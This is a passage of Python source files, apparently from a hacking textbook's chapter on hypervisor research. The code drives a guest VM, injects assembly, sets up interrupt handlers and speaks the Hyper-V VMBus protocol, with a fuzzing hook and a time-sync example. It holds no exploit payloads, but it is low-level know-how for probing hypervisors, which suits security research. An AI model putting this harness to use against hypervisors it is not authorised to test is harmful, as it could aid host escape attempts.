self.start() + self.data_len 59 | 60 | def size(self): 61 | return self.data_len 62 | 63 | def page_list(self): 64 | return list(range(self.start(), self.end(), 0x1000)) 65 | 66 | def free(self): 67 | self.mem.free(self.ptr) 68 | 69 | 70 | @total_ordering 71 | class Chunk: 72 | def __init__(self, data, offset=None): 73 | self.data = data 74 | self.offset = offset 75 | 76 | def __eq__(self, other): 77 | return self.offset == other.offset 78 | 79 | def __lt__(self, other): 80 | return self.offset < other.offset 81 | 82 | 83 | class IOVector: 84 | def __init__(self, chunk_list=None): 85 | self.data = [] 86 | 87 | if chunk_list is not None: 88 | for chunk in chunk_list: 89 | self.append(chunk.data, chunk.offset) 90 | 91 | def size(self): 92 | if self.data == []: 93 | return 0 94 | 95 | last_chunk = self.data[-1] 96 | return last_chunk.offset + len(last_chunk.data) 97 | 98 | def append(self, data, offset=None): 99 | if offset is None: 100 | offset = self.size() 101 | 102 | bisect.insort(self.data, Chunk(data, offset)) 103 | 104 | def iter(self): 105 | return iter(self.data) 106 | 107 | -------------------------------------------------------------------------------- /GHHv6_ch25/session.py: -------------------------------------------------------------------------------- 1 | # SPDX-FileCopyrightText: 2021 Daniel Fernandez Kuehr 2 | # SPDX-License-Identifier: GPL-3.0-or-later 3 | 4 | import signal 5 | import protocol 6 | from enum import Enum 7 | from guest import Guest 8 | from code import Code 9 | 10 | class OOBType(Enum): 11 | Print = 0 12 | Assert = 1 13 | 14 | class Session: 15 | debug = False 16 | retry_exceptions = True 17 | timeout = 0 18 | 19 | def __init__(self, guest_cls=Guest): 20 | self.guest_cls = guest_cls 21 | self.regs = ( 22 | 'rax', 'rbx', 'rcx', 'rdx', 'rsi', 'rdi', 'rbp', 'rsp', 23 | 'r8', 'r9', 'r10', 'r11', 'r12', 'r13', 'r14', 'r15' 24 | ) 25 | signal.signal(signal.SIGALRM, self.timeout_handler) 26 | 27 | @staticmethod 28 | def timeout_handler(signum, frame): 29 | raise Exception('TIMEOUT') 30 | 31 | def context_save(self): 32 | return 'pop rax\n' + '\n'.join( 33 | f'mov qword [{self.context_area + n*8:#x}], {reg}' 34 | for (n, reg) in enumerate(self.regs)) + '\n' 35 | 36 | def context_restore(self): 37 | return '\n'.join( 38 | f'mov {reg}, qword [{self.context_area + n*8:#x}]' 39 | for (n, reg) in enumerate(self.regs)) + '\njmp rax\n' 40 | 41 | def code(self, code): 42 | return Code(code, self.guest.symbols) 43 | 44 | def execute(self, code): 45 | self.guest.execute(self.code(code)) 46 | 47 | def fuzz(self, reply): 48 | raise NotImplementedError 49 | 50 | def on_boot(self, body): 51 | self.context_area = self.guest.memory.alloc(0x1000) 52 | self.install_idt() 53 | 54 | def install_idt(self, vectors=30): 55 | entries = (f'{l:#x}, {h:#x}' 56 | for l, h in map(self.make_vector_handler, range(vectors))) 57 | self.execute( 58 | f"""lidt [idtr] 59 | ret 60 | align 16 61 | idtr: 62 | dw idt_end - idt - 1 ; IDT limit 63 | dq idt ; IDT base 64 | align 16 65 | idt: dq {', '.join(entries)} 66 | idt_end: 67 | """) 68 | 69 | def make_vector_handler(self, vec): 70 | err_code = '' 71 | code = 'REPLY_EMPTY\n' + self.context_restore() 72 | 73 | if vec not in {8, 10, 11, 12, 13, 14, 17, 30}: 74 | err_code = 'push 0\n' 75 | 76 | if self.debug: 77 | regs = ('rip', 'rflags') + self.regs 78 | fmt = ' '.join(f'{r.upper()}=%016lx' for r in regs) 79 | args = ', UInt64, '.join(f'qword [_{r}]' 80 | if r in {'rip', 'rsp', 'rflags'} else r for r in regs) 81 | code = f"""push rax 82 | xor rax, rax 83 | mov dr6, rax 84 | mov rax, [rsp+0x10] 85 | mov [_rip], rax 86 | mov rax, [rsp+0x20] 87 | mov [_rflags], rax 88 | mov rax, [rsp+0x28] 89 | mov [_rsp], rax 90 | pop rax 91 | OOB_PRINT "#{vec:02}: {fmt}", UInt64, {args} 92 | mov rax, cr2 93 | mov rcx, [rsp] 94 | OOB_PRINT "CR2 %016lx, err code %d", UInt64, rax, UInt64, rcx 95 | {code} 96 | _rip: dq 0 97 | _rflags: dq 0 98 | _rsp: dq 0 99 | """ 100 | 101 | address = self.guest.op_write(self.code(err_code + code)) 102 | return ((address & 0xffff) | 0x80000 | ( 103 | ((address & 0xffff << 16) | 0x8f << 8) << 32), address >> 32) 104 | 105 | def is_oob(self, msg_type, body): 106 | if msg_type == protocol.MT.OOB: 107 | oob_type, *msg = body 108 | 109 | if oob_type == OOBType.Print.value: 110 | fmt, *args = msg 111 | print(f'PRINT: {fmt % tuple(args)}') 112 | 113 | if oob_type == OOBType.Assert.value: 114 | exp, _file, line = msg 115 | print(f'ASSERT {_file}:{line}: {exp}') 116 | 117 | return True 118 | else: 119 | return False 120 | 121 | def is_boot(self, msg_type): 122 | return msg_type == protocol.MT.Boot 123 | 124 | def next_message(self): 125 | msg = next(self.messages) 126 | 127 | while self.is_oob(*msg): 128 | msg = next(self.messages) 129 | 130 | return msg 131 | 132 | def run(self): 133 | while True: 134 | try: 135 | with self.guest_cls() as self.guest: 136 | self.messages = self.guest.messages() 137 | self.run_loop() 138 | 139 | except Exception as e: 140 | if self.retry_exceptions is False: 141 | raise 142 | 143 | print(f'exception: {e}') 144 | 145 | def run_loop(self): 146 | while True: 147 | signal.alarm(0) 148 | signal.alarm(self.timeout) 149 | msg_type, body = self.next_message() 150 | 151 | if self.is_boot(msg_type): 152 | self.on_boot(body) 153 | else: 154 | self.on_reply(body) 155 | 156 | -------------------------------------------------------------------------------- /GHHv6_ch25/time_sync.py: -------------------------------------------------------------------------------- 1 | # SPDX-FileCopyrightText: 2021 Daniel Fernandez Kuehr 2 | # SPDX-License-Identifier: GPL-3.0-or-later 3 | 4 | import uuid 5 | import vmbus 6 | import construct as c 7 | from enum import Enum 8 | from time import ctime 9 | 10 | VmbusPipeHeader = c.Struct( 11 | 'flags' / c.Int32ul, 12 | 'msgsize' / c.Int32ul 13 | ) 14 | 15 | ICVersion = c.Struct( 16 | 'major' / c.Int16ul, 17 | 'minor' / c.Int16ul 18 | ) 19 | 20 | class ICMessageType(Enum): 21 | NEGOTIATE = 0 22 | HEARTBEAT = 1 23 | KVPEXCHANGE = 2 24 | SHUTDOWN = 3 25 | TIMESYNC = 4 26 | VSS = 5 27 | 28 | ICMSGHDRFLAG_TRANSACTION = 1 29 | ICMSGHDRFLAG_REQUEST = 2 30 | ICMSGHDRFLAG_RESPONSE = 4 31 | WLTIMEDELTA = 116444736000000000 32 | 33 | ICMessageHeader = c.Struct( 34 | 'icverframe' / ICVersion, 35 | 'icmsgtype' / c.Int16ul, 36 | 'icvermsg' / ICVersion, 37 | 'icmsgsize' / c.Int16ul, 38 | 'status' / c.Int32ul, 39 | 'ictransaction_id' / c.Int8ul, 40 | 'icflags' / c.Int8ul, 41 | 'reserved' / c.Bytes(2) 42 | ) 43 | 44 | ICMessageNegotiate = c.Struct( 45 | 'icframe_vercnt' / c.Int16ul, 46 | 'icmsg_vercnt' / c.Int16ul, 47 | 'reserved' / c.Const(0, c.Int32ul), 48 | 'icversion_data' / c.Array( 49 | c.this.icframe_vercnt + c.this.icmsg_vercnt, ICVersion 50 | ) 51 | ) 52 | 53 | ICTimeSyncRefData = c.Struct( 54 | 'parenttime' / c.Int64ul, 55 | 'vmreferencetime' / c.Int64ul, 56 | 'flags' / c.Int8ul, 57 | 'leapflags' / c.Int8ul, 58 | 'stratum' / c.Int8ul, 59 | 'reserved' / c.Bytes(3) 60 | ) 61 | 62 | ICMessage = c.Struct( 63 | 'pipe_hdr' / VmbusPipeHeader, 64 | 'ic_hdr' / ICMessageHeader, 65 | 'icmsg' / c.Switch(c.this.ic_hdr.icmsgtype, { 66 | ICMessageType.NEGOTIATE.value: ICMessageNegotiate, 67 | ICMessageType.TIMESYNC.value: ICTimeSyncRefData 68 | # TODO: implement other IC messages 69 | }) 70 | ) 71 | 72 | Packet = c.Struct( 73 | 'packet_hdr' / vmbus.PacketHeader, 74 | '_start' / c.Seek(c.this.packet_hdr.offset8 * 8), 75 | 'data' / ICMessage 76 | ) 77 | 78 | class Session(vmbus.Session): 79 | def negotiate(self, msg): 80 | if msg.ic_hdr.icmsgtype != ICMessageType.NEGOTIATE.value: 81 | print(f'Recevied unknown IC message {msg.ic_hdr.icmsgtype}') 82 | exit(1) 83 | 84 | ts_version = None 85 | # TODO: add support for older versions 86 | for version in msg.icmsg.icversion_data[:msg.icmsg.icframe_vercnt]: 87 | if version.major == 3 and version.minor == 0: 88 | ts_version = version 89 | break 90 | 91 | if ts_version is None: 92 | print(f'Unsupported version') 93 | exit(1) 94 | 95 | icmsg_ver = msg.icmsg.icversion_data[-1] 96 | msg.icmsg = { 97 | 'icframe_vercnt': 1, 98 | 'icmsg_vercnt': 1, 99 | 'icversion_data': [ts_version, icmsg_ver] 100 | } 101 | msg.ic_hdr.icmsgsize = len(ICMessageNegotiate.build(msg.icmsg)) 102 | msg.ic_hdr.icflags = ICMSGHDRFLAG_RESPONSE | ICMSGHDRFLAG_TRANSACTION 103 | msg.pipe_hdr.msgsize = ICMessageHeader.sizeof() + msg.ic_hdr.icmsgsize 104 | return ICMessage.build(msg) 105 | 106 | def on_boot(self, body): 107 | super().on_boot(body) 108 | time_sync = uuid.UUID('{9527E630-D0AE-497b-ADCE-E80AB0175CAF}') 109 | child_relid = self.vmbus_device_open(if_type=time_sync) 110 | packet = Packet.parse(self.ringbuffer_recv_packet(child_relid)) 111 | self.ringbuffer_send_packet( 112 | child_relid, 113 | vmbus.PacketType.VM_PKT_DATA_INBAND, 114 | self.negotiate(packet.data), 115 | packet.packet_hdr.trans_id 116 | ) 117 | pkg = self.ringbuffer_recv_packet(child_relid) 118 | packet = Packet.parse(pkg) 119 | host_ns = ((packet.data.icmsg.parenttime - WLTIMEDELTA) * 100) 120 | print(f'Reported Host time: {ctime(host_ns / 1e9)}') 121 | exit(0) 122 | 123 | if __name__ == "__main__": 124 | Session().run() 125 | 126 | -------------------------------------------------------------------------------- /GHHv6_ch25/vmbus.py: -------------------------------------------------------------------------------- 1 | # SPDX-FileCopyrightText: 2021 Daniel Fernandez Kuehr 2 | # SPDX-License-Identifier: GPL-3.0-or-later 3 | 4 | import uuid 5 | import hypercall 6 | import construct as c 7 | from remotemem import PageAlloc 8 | from enum import Enum 9 | from math import ceil 10 | 11 | 12 | class VmbusChannelMessage(Enum): 13 | INVALID = 0 14 | OFFERCHANNEL = 1 15 | RESCIND_CHANNELOFFER = 2 16 | REQUESTOFFERS = 3 17 | ALLOFFERS_DELIVERED = 4 18 | OPENCHANNEL = 5 19 | OPENCHANNEL_RESULT = 6 20 | CLOSECHANNEL = 7 21 | GPADL_HEADER = 8 22 | GPADL_BODY = 9 23 | GPADL_CREATED = 10 24 | GPADL_TEARDOWN = 11 25 | GPADL_TORNDOWN = 12 26 | RELID_RELEASED = 13 27 | INITIATE_CONTACT = 14 28 | VERSION_RESPONSE = 15 29 | UNLOAD = 16 30 | UNLOAD_RESPONSE = 17 31 | TL_CONNECT_REQUEST = 21 32 | 33 | VmbusChannelMessageHeader = c.Struct( 34 | 'msgtype' / c.Int32ul, 35 | 'padding' / c.Const(0, c.Int32ul) 36 | ) 37 | 38 | VmbusChannelInitiateContact = c.Struct( 39 | 'hdr' / VmbusChannelMessageHeader, 40 | 'vmbus_version_requested' / c.Int32ul, 41 | 'target_vcpu' / c.Int32ul, 42 | 'msg_sint' / c.Int8ul, 43 | 'padding' / c.Bytes(7), 44 | 'monitor_page1' / c.Int64ul, 45 | 'monitor_page2' / c.Int64ul 46 | ) 47 | 48 | VmbusChannelVersionResponse = c.Struct( 49 | 'hdr' / VmbusChannelMessageHeader, 50 | 'version_supported' / c.Int8ul, 51 | 'connection_state' / c.Int8ul, 52 | 'padding' / c.Int16ul, 53 | 'msg_conn_id' / c.Int32ul 54 | ) 55 | 56 | class UUIDAdapter(c.Adapter): 57 | def _decode(self, obj, context, path): 58 | return uuid.UUID(bytes_le=obj) 59 | 60 | def _encode(self, obj, context, path): 61 | return obj.bytes_le 62 | 63 | UUID = UUIDAdapter(c.Bytes(16)) 64 | 65 | vmbus_devices = { 66 | uuid.UUID('{f8615163-df3e-46c5-913f-f2d2f965ed0e}'): 67 | 'Network', 68 | uuid.UUID('{32412632-86cb-44a2-9b5c-50d1417354f5}'): 69 | 'IDE', 70 | uuid.UUID('{ba6163d9-04a1-4d29-b605-72e2ffb1dc7f}'): 71 | 'SCSI', 72 | uuid.UUID('{0e0b6031-5213-4934-818b-38d90ced39db}'): 73 | 'Shutdown', 74 | uuid.UUID('{9527E630-D0AE-497b-ADCE-E80AB0175CAF}'): 75 | 'Time Synch', 76 | uuid.UUID('{57164f39-9115-4e78-ab55-382f3bd5422d}'): 77 | 'Heartbeat', 78 | uuid.UUID('{a9a0f4e7-5a45-4d96-b827-8a841e8c03e6}'): 79 | 'KVP', 80 | uuid.UUID('{525074dc-8985-46e2-8057-a307dc18a502}'): 81 | 'Dynamic memory', 82 | uuid.UUID('{cfa8b69e-5b4a-4cc0-b98b-8ba1a1f3f95a}'): 83 | 'Mouse', 84 | uuid.UUID('{f912ad6d-2b17-48ea-bd65-f927a61c7684}'): 85 | 'Keyboard', 86 | uuid.UUID('{35fa2e29-ea23-4236-96ae-3a6ebacba440}'): 87 | 'VSS (Backup/Restore)', 88 | uuid.UUID('{DA0A7802-E377-4aac-8E77-0558EB1073F8}'): 89 | 'Synthetic Video', 90 | uuid.UUID('{2f9bcc4a-0069-4af3-b76b-6fd0be528cda}'): 91 | 'Synthetic FC', 92 | uuid.UUID('{34D14BE3-DEE4-41c8-9AE7-6B174977C192}'): 93 | 'Guest File Copy Service', 94 | uuid.UUID('{8c2eaf3d-32a7-4b09-ab99-bd1f1c86b501}'): 95 | 'NetworkDirect', 96 | uuid.UUID('{44C4F61D-4444-4400-9D52-802E27EDE19F}'): 97 | 'PCI Express Pass Through', 98 | uuid.UUID('{f8e65716-3cb3-4a06-9a60-1889c5cccab5}'): 99 | 'Automatic Virtual Machine Activation', 100 | uuid.UUID('{3375baf4-9e15-4b30-b765-67acb10d607b}'): 101 | 'Automatic Virtual Machine Activation (2)', 102 | uuid.UUID('{276aacf4-ac15-426c-98dd-7521ad3f01fe}'): 103 | 'Remote Desktop Virtualization' 104 | } 105 | 106 | VmbusChannelOffer = c.Struct( 107 | 'if_type' / UUID, 108 | 'if_instance' / UUID, 109 | 'reserved1' / c.Int64ul, 110 | 'reserved2' / c.Int64ul, 111 | 'chn_flags' / c.Int16ul, 112 | 'mmio_megabytes' / c.Int16ul, 113 | 'user_def' / c.Bytes(120), 114 | 'sub_channel_index' / c.Int16ul, 115 | 'reserved3' / c.Int16ul 116 | ) 117 | 118 | VmbusChannelOfferChannel = c.Struct( 119 | 'hdr' / VmbusChannelMessageHeader, 120 | 'offer' / VmbusChannelOffer, 121 | 'child_relid' / c.Int32ul, 122 | 'monitorid' / c.Int8ul, 123 | 'monitor_allocated' / c.Int8ul, 124 | 'is_dedicated_interrupt' / c.Int16ul, 125 | 'connection_id' / c.Int32ul 126 | ) 127 | 128 | GPARange = c.Struct( 129 | 'byte_count' / c.Int32ul, 130 | 'byte_offset' / c.Int32ul, 131 | 'pfn_array' / c.Array( 132 | lambda t: ceil((t.byte_count + t.byte_offset) / 4096), c.Int64ul) 133 | ) 134 | 135 | def gpa_range(address, size): 136 | start_pfn = address >> 12 137 | end_pfn = (address + size) >> 12 138 | return { 139 | 'byte_count': size, 140 | 'byte_offset': address & 0xfff, 141 | 'pfn_array': range(start_pfn, end_pfn) 142 | } 143 | 144 | def gpa_range_size(range_list): 145 | return len(b''.join(map(GPARange.build, range_list))) 146 | 147 | VmbusChannelGPADLHeader = c.Struct( 148 | 'hdr' / VmbusChannelMessageHeader, 149 | 'child_relid' / c.Int32ul, 150 | 'gpadl' / c.Int32ul, 151 | 'range_buflen' / c.Rebuild(c.Int16ul, lambda t: gpa_range_size(t.range)), 152 | 'rangecount' / c.Rebuild(c.Int16ul, c.len_(c.this.range)), 153 | 'range' / c.Array(c.this.rangecount, GPARange), 154 | ) 155 | 156 | VmbusChannelGPADLBody = c.Struct( 157 | 'hdr' / VmbusChannelMessageHeader, 158 | 'msgnumber' / c.Int32ul, 159 | 'gpadl' / c.Int32ul 160 | ) 161 | 162 | VmbusChannelGPADLCreated = c.Struct( 163 | 'hdr' / VmbusChannelMessageHeader, 164 | 'child_relid' / c.Int32ul, 165 | 'gpadl' / c.Int32ul, 166 | 'creation_status' / c.Int32ul 167 | ) 168 | 169 | VmbusChannelOpenChannel = c.Struct( 170 | 'hdr' / VmbusChannelMessageHeader, 171 | 'child_relid' / c.Int32ul, 172 | 'openid' / c.Int32ul, 173 | 'ringbuffer_gpadl' / c.Int32ul, 174 | 'target_vp' / c.Int32ul, 175 | 'downstream_offset' / c.Int32ul, 176 | 'user_data' / c.Bytes(120), 177 | ) 178 | 179 | VmbusChannelOpenResult = c.Struct( 180 | 'hdr' / VmbusChannelMessageHeader, 181 | 'child_relid' / c.Int32ul, 182 | 'openid' / c.Int32ul, 183 | 'status' / c.Int32ul, 184 | ) 185 | 186 | RingBuffer = c.Struct( 187 | 'write_index' / c.Int32ul, 188 | 'read_index' / c.Int32ul, 189 | 'interrupt_mask' / c.Int32ul, 190 | 'pending_send_sz' / c.Int32ul, 191 | 'reserved' / c.Bytes(48), 192 | 'feature_bits' / c.Int32ul 193 | ) 194 | 195 | class PacketType(Enum): 196 | VM_PKT_INVALID = 0 197 | VM_PKT_SYNCH = 1 198 | VM_PKT_ADD_XFER_PAGESET = 2 199 | VM_PKT_RM_XFER_PAGESET = 3 200 | VM_PKT_ESTABLISH_GPADL = 4 201 | VM_PKT_TEARDOWN_GPADL = 5 202 | VM_PKT_DATA_INBAND = 6 203 | VM_PKT_DATA_USING_XFER_PAGES = 7 204 | VM_PKT_DATA_USING_GPADL = 8 205 | VM_PKT_DATA_USING_GPA_DIRECT = 9 206 | VM_PKT_CANCEL_REQUEST = 10 207 | VM_PKT_COMP = 11 208 | VM_PKT_DATA_USING_ADDITIONAL_PKT = 12 209 | VM_PKT_ADDITIONAL_DATA = 13 210 | 211 | PacketHeader = c.Struct( 212 | 'type' / c.Int16ul, 213 | 'offset8' / c.Int16ul, 214 | 'len8' / c.Int16ul, 215 | 'flags' / c.Int16ul, 216 | 'trans_id' / c.Int64ul 217 | ) 218 | 219 | VMBUS_PKT_TRAILER = 8 220 | 221 | 222 | class Session(hypercall.Session): 223 | list_offers = False 224 | 225 | def synic_init(self): 226 | """ 227 | NOTE: we assign SINT2 to vector 32 but our IDT doesn't have it, 228 | however, this is not a problem as we set the SINT in polling mode. 229 | (Also interrupts are disabled) 230 | 231 | If interrupts were enabled and the polling bit wasn't set, things 232 | would break badly. To avoid it, install_idt, and make_vector_handler 233 | should be overloaded. 234 | 235 | In case of install_idt just to enlarge the IDT for example: 236 | 237 | def install_idt(self, vectors=33): 238 | super().install_idt(vectors) 239 | 240 | In case of make_vector_handler custom assembly should be generated to 241 | vector 32 so it can deal with SINT2 delivery. 242 | """ 243 | code = self.code( 244 | f""" 245 | {self.context_save()} 246 | xor rdx, rdx 247 | ;; map SIMP 248 | mov rcx, 0x40000083; HV_X64_MSR_SIMP 249 | mov rax, {self.synic_simp | 1:#x} 250 | wrmsr 251 | ;; unmask SINT2 and set to vector 32 252 | mov rcx, 0x40000092; HV_X64_MSR_SINT2 253 | mov rax, 32 | 1 << 18; polling mode 254 | wrmsr 255 | ;; enable SynIC 256 | mov rcx, 0x40000080; HV_X64_MSR_SCONTROL 257 | mov rax, 1 258 | wrmsr 259 | {self.context_restore()} 260 | """) 261 | self.guest.execute(code) 262 | 263 | def synic_read_simp(self, SINT): 264 | msg_size = hypercall.HvMessage.sizeof() 265 | msg_slot_addr = self.synic_simp + msg_size * SINT 266 | data_buf = self.guest.memory.alloc(msg_size) 267 | code = self.code( 268 | f""" 269 | {self.context_save()} 270 | mov rsi, {msg_slot_addr:#x} 271 | ;; is slot empty? 272 | cmp dword [rsi], 0 273 | jz fallout 274 | ;; copy message 275 | mov rdi, {data_buf:#x} 276 | mov rcx, {msg_size} 277 | rep movsb 278 | ;; let know the hypervisor that we are done 279 | mov dword [{msg_slot_addr:#x}], 0 280 | mov rcx, 0x40000084 ; HV_X64_MSR_EOM 281 | xor rdx, rdx 282 | xor rax, rax 283 | wrmsr 284 | fallout: 285 | ;; send message to the client 286 | PUT_VA Array, array_h, {data_buf:#x} 287 | REPLY 288 | {self.context_restore()} 289 | array_h: dd {msg_size}, UInt8 290 | """) 291 | self.guest.execute(code) 292 | self.guest.memory.free(data_buf) 293 | _, result = self.next_message() 294 | msg = hypercall.HvMessage.parse(bytes(result[0])) 295 | 296 | if msg.Header.MessageType == 0: 297 | return None 298 | 299 | return msg.Payload 300 | 301 | def synic_poll_simp(self, SINT): 302 | msg = None 303 | 304 | while msg is None: 305 | msg = self.synic_read_simp(SINT) 306 | 307 | return msg 308 | 309 | def vmbus_handle_message(self, msg): 310 | hdr_size = VmbusChannelMessageHeader.sizeof() 311 | hdr = VmbusChannelMessageHeader.parse(msg[:hdr_size]) 312 | msgtype = VmbusChannelMessage(hdr.msgtype) 313 | handler = { 314 | VmbusChannelMessage.VERSION_RESPONSE: 315 | self.vmbus_handle_version_response, 316 | VmbusChannelMessage.OFFERCHANNEL: 317 | self.vmbus_handle_offer, 318 | VmbusChannelMessage.ALLOFFERS_DELIVERED: 319 | self.vmbus_handle_offers_delivered, 320 | VmbusChannelMessage.GPADL_CREATED: 321 | self.vmbus_handle_gpadl_created, 322 | VmbusChannelMessage.OPENCHANNEL_RESULT: 323 | self.vmbus_handle_open_result 324 | }[msgtype] 325 | return handler(msg) 326 | 327 | def vmbus_read_message(self): 328 | return self.vmbus_handle_message(self.synic_poll_simp(SINT=2)) 329 | 330 | def vmbus_initiate_contact(self): 331 | VERSION_WIN10_V5 = 5 << 16 332 | payload = VmbusChannelInitiateContact.build({ 333 | 'hdr': { 'msgtype': VmbusChannelMessage.INITIATE_CONTACT.value }, 334 | 'vmbus_version_requested': VERSION_WIN10_V5, 335 | 'target_vcpu': 0, 336 | 'msg_sint': 2, 337 | 'padding': bytes(7), 338 | 'monitor_page1': self.monitor_page1, 339 | 'monitor_page2': self.monitor_page2 340 | }) 341 | 342 | if self.HvCallPostMessage(self.connection_id, 1, payload) != 0: 343 | print(f'VMBus initiate contact failed') 344 | exit(1) 345 | 346 | if self.vmbus_read_message() != 0: 347 | print('VMBus version negotiation error') 348 | exit(1) 349 | 350 | def vmbus_handle_version_response(self, msg): 351 | msg = VmbusChannelVersionResponse.parse(msg) 352 | 353 | if msg.version_supported == 0: 354 | return -1 355 | 356 | self.connection_id = msg.msg_conn_id 357 | return 0 358 | 359 | def vmbus_request_offers(self): 360 | payload = VmbusChannelMessageHeader.build({ 361 | 'msgtype': VmbusChannelMessage.REQUESTOFFERS.value 362 | }) 363 | 364 | if self.HvCallPostMessage(self.connection_id, 1, payload) != 0: 365 | print('VMBus request offers failed') 366 | exit(1) 367 | 368 | while not self.all_offers_delivered: 369 | self.vmbus_read_message() 370 | 371 | def vmbus_handle_offer(self, msg): 372 | msg = VmbusChannelOfferChannel.parse(msg) 373 | self.offers.append(msg) 374 | 375 | if self.list_offers: 376 | if msg.offer.if_type in vmbus_devices.keys(): 377 | dev_type = vmbus_devices[msg.offer.if_type] 378 | else: 379 | dev_type = f'Unknown UUID {msg.offer.if_type}' 380 | 381 | print(f'[OFFER ID: {msg.child_relid}] {msg.offer.if_instance} {dev_type}') 382 | 383 | def vmbus_handle_offers_delivered(self, msg): 384 | self.all_offers_delivered = True 385 | return 0 386 | 387 | def vmbus_create_gpadl(self, child_relid, address, size): 388 | self.gpadl = (self.gpadl + 1) & 0xffffffff 389 | payload = VmbusChannelGPADLHeader.build({ 390 | 'hdr': { 'msgtype': VmbusChannelMessage.GPADL_HEADER.value }, 391 | 'child_relid': child_relid, 392 | 'gpadl': self.gpadl, 393 | 'range': [gpa_range(address, size)] 394 | }) 395 | chunk_size = hypercall.HV_MESSAGE_PAYLOAD_BYTE_COUNT 396 | # For some odd reason the "range" field is 4-byte aligned, breaking 397 | # the 8-byte alignment of PFNs, so we need this ugly -4 hack. 398 | header = payload[:chunk_size-4] 399 | body = payload[chunk_size-4:] 400 | 401 | if self.HvCallPostMessage(self.connection_id, 1, header) != 0: 402 | print('VMBus Send GPADL header failed') 403 | exit(1) 404 | 405 | chunk_size -= VmbusChannelGPADLBody.sizeof() 406 | chunks = (body[x:x + chunk_size] 407 | for x in range(0, len(body), chunk_size)) 408 | 409 | for n, chunk in enumerate(chunks): 410 | payload = VmbusChannelGPADLBody.build({ 411 | 'hdr': { 'msgtype': VmbusChannelMessage.GPADL_BODY.value }, 412 | 'msgnumber': n, 413 | 'gpadl': self.gpadl, 414 | }) + chunk 415 | 416 | if self.HvCallPostMessage(self.connection_id, 1, payload) != 0: 417 | print(f'VMBus Send GPADL body ({n}) failed') 418 | exit(1) 419 | 420 | if self.vmbus_read_message() == 0 \ 421 | and child_relid in self.gpadls.keys() \ 422 | and self.gpadls[child_relid] == self.gpadl: 423 | self.gpadls[child_relid] = (self.gpadl, address, size) 424 | else: 425 | print(f'VMBus GPADL creation failed') 426 | exit(1) 427 | 428 | def vmbus_handle_gpadl_created(self, msg): 429 | msg = VmbusChannelGPADLCreated.parse(msg) 430 | self.gpadls[msg.child_relid] = msg.gpadl 431 | return msg.creation_status 432 | 433 | def vmbus_open_channel(self, child_relid): 434 | self.openid = (self.openid + 1) & 0xffffffff 435 | gpadl, address, size = self.gpadls[child_relid] 436 | downstream_offset = (size >> 2) >> 12 # split ringbuffer in half 437 | self.ringbuffer_init(child_relid, address, size, downstream_offset) 438 | payload = VmbusChannelOpenChannel.build({ 439 | 'hdr': { 'msgtype': VmbusChannelMessage.OPENCHANNEL.value }, 440 | 'child_relid': child_relid, 441 | 'openid': self.openid, 442 | 'ringbuffer_gpadl': gpadl, 443 | 'target_vp': 0, 444 | 'downstream_offset': downstream_offset, 445 | 'user_data': bytes(120) 446 | }) 447 | 448 | if self.HvCallPostMessage(self.connection_id, 1, payload) != 0 \ 449 | or self.vmbus_read_message() != 0: 450 | print('VMBus open channel failed') 451 | exit(1) 452 | 453 | def vmbus_handle_open_result(self, msg): 454 | msg = VmbusChannelOpenResult.parse(msg) 455 | return msg.status 456 | 457 | def vmbus_device_open(self, if_instance=None, if_type=None, ring_size=0x40000): 458 | def device_open(offer, ring_size): 459 | address = PageAlloc(self.guest.memory, ring_size).start() 460 | self.vmbus_create_gpadl(offer.child_relid, address, ring_size) 461 | self.vmbus_open_channel(offer.child_relid) 462 | return offer.child_relid 463 | 464 | for offer in self.offers: 465 | if if_instance is not None: 466 | if offer.offer.if_instance == if_instance: 467 | return device_open(offer, ring_size) 468 | elif if_type is not None: 469 | if offer.offer.if_type == if_type: 470 | return device_open(offer, ring_size) 471 | raise 472 | 473 | def vmbus_init(self): 474 | self.connection_id = 4 475 | self.offers = [] 476 | self.all_offers_delivered = False 477 | self.gpadl = 0 478 | self.gpadls = dict() 479 | self.openid = 0 480 | self.ringbuffer = dict() 481 | self.vmbus_initiate_contact() 482 | self.vmbus_request_offers() 483 | 484 | def ringbuffer_init(self, child_relid, address, size, offset_pages): 485 | upstream = (address, offset_pages << 12) 486 | downstream = (upstream[0] + upstream[1], size - upstream[1]) 487 | self.ringbuffer[child_relid] = [upstream, downstream, 0] 488 | init_hdr = RingBuffer.build({ 489 | 'write_index': 0, 490 | 'read_index': 0, 491 | 'interrupt_mask': 0, 492 | 'pending_send_sz': 0, 493 | 'reserved': bytes(48), 494 | 'feature_bits': 1 495 | }) 496 | self.guest.op_write_data(init_hdr, upstream[0]) 497 | self.guest.op_write_data(init_hdr, downstream[0]) 498 | 499 | def ringbuffer_write(self, ring_buffer, data): 500 | # WARNING: we assume non-concurrent access, and qword aligned data 501 | rb_addr, rb_size = ring_buffer 502 | rb_data_addr = rb_addr + 0x1000 503 | data_addr = self.guest.op_write_data(data) 504 | data_len = len(data) 505 | code = self.code( 506 | f""" 507 | {self.context_save()} 508 | mov edx, dword [{rb_addr:#x}] ; write_index 509 | mov ebx, dword [{rb_addr+4:#x}] ; read_index 510 | mov eax, edx 511 | xor eax, ebx 512 | not eax 513 | mov dword [ring_empty], eax 514 | mov ecx, {rb_size} 515 | sub ecx, edx 516 | add ecx, ebx 517 | mov eax, ebx 518 | sub eax, edx 519 | cmp edx, ebx 520 | cmovae eax, ecx ; wrap around 521 | mov ecx, {data_len} 522 | cmp eax, ecx 523 | jb fail ; remaining < data len 524 | mov rsi, {data_addr:#x} 525 | xor rbx, rbx 526 | copy: 527 | cmp rdx, {rb_size} 528 | cmovae rdx, rbx ; wrap around 529 | mov rax, qword [rsi] 530 | mov qword [{rb_data_addr:#x}+rdx], rax 531 | add rdx, 8 532 | add rsi, 8 533 | sub rcx, 8 534 | jnz copy 535 | mov dword [{rb_addr:#x}], edx ; update write_index 536 | xor rax, rax 537 | exit: 538 | mov edx, dword [ring_empty] 539 | PUT_VA UInt64, rax, UInt32, rdx 540 | REPLY 541 | {self.context_restore()} 542 | fail: 543 | mov rax, -1 544 | jmp exit 545 | ring_empty: dd 0 546 | """) 547 | self.guest.execute(code) 548 | self.guest.memory.free(data_addr) 549 | _, result = self.next_message() 550 | return result 551 | 552 | def get_connection_id(self, child_relid): 553 | for offer in self.offers: 554 | if offer.child_relid == child_relid: 555 | return offer.connection_id 556 | 557 | raise 558 | 559 | def ringbuffer_send_packet(self, child_relid, packet_type, data, trans_id=None, flags=0): 560 | upstream, _, _trans_id = self.ringbuffer[child_relid] 561 | 562 | if trans_id is None: 563 | trans_id = _trans_id 564 | 565 | offset8 = 